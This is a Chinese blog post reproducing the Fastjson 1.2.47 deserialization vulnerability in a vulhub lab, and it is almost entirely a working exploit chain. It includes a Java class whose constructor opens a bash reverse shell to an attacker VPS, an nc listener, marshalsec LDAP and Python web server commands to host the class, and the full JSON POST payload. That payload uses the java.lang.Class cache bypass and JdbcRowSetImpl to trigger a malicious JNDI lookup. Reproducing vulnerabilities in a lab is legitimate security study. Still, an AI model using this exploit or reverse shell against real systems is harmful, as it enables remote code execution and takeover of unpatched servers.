前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Fastjson-1.2.47反序列化漏洞复现

Fastjson-1.2.47反序列化漏洞复现

作者头像
sugarbeet
发布2022-09-26 19:20:29
6270
发布2022-09-26 19:20:29
举报
文章被收录于专栏:小满的技术录小满的技术录

Fastjson-1.2.47反序列化漏洞复现

提前准备:

1、使用vulhub来启动环境

2、VPS1:查看Java版本

[root@clean-post-1 ~]# java -version openjdk version "1.8.0_262" OpenJDK Runtime Environment (build 1.8.0_262-b10)

3、VPS2:nc -lvvp 1111 进行监听

进一步设置:

Exploit.java文件,Exploit.class文件,marshalsec-0.0.3-SNAPSHOT-all.jar 这三个文件必须在一个文件夹里

fastjson2
fastjson2

构造恶意的CLASS文件从而REC

  • 创建Exploit.java文件 public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS2的IP/1111 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
  • 编译成class文件,生成Exploit.class javac Exploit.java

启动LDAP服务和WEB服务(这里我的LDAP和WEB服务都是在VPS1上启动的)

  • 在启动LDAP服务前需要使用marshalsec来启动 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS1的IP/#Exploit 7777
  • 启动WEB服务 python2 -m http.server 80

到目前为止所有配置已经完成

最后干就完了!

  • 浏览器访问docker启动的jastjson环境http://docker环境IP:8090/
  • burp抓包修改包 `POST / HTTP/1.1 Host: docker环境IP:8090 Content-Type: application/json Content-Length: 271 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://VPS1的IP:7777/Exploit", "autoCommit":true } }`

最后结果图

fastjson
fastjson

Q.E.D.

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Fastjson-1.2.47反序列化漏洞复现
    • 提前准备:
      • 1、使用vulhub来启动环境
      • 2、VPS1:查看Java版本
      • 3、VPS2:nc -lvvp 1111 进行监听
    • 进一步设置:
      • Exploit.java文件,Exploit.class文件,marshalsec-0.0.3-SNAPSHOT-all.jar 这三个文件必须在一个文件夹里
      • 构造恶意的CLASS文件从而REC
      • 启动LDAP服务和WEB服务(这里我的LDAP和WEB服务都是在VPS1上启动的)
    • 到目前为止所有配置已经完成
      • 最后干就完了!
        • 最后结果图
        相关产品与服务
        容器镜像服务
        容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档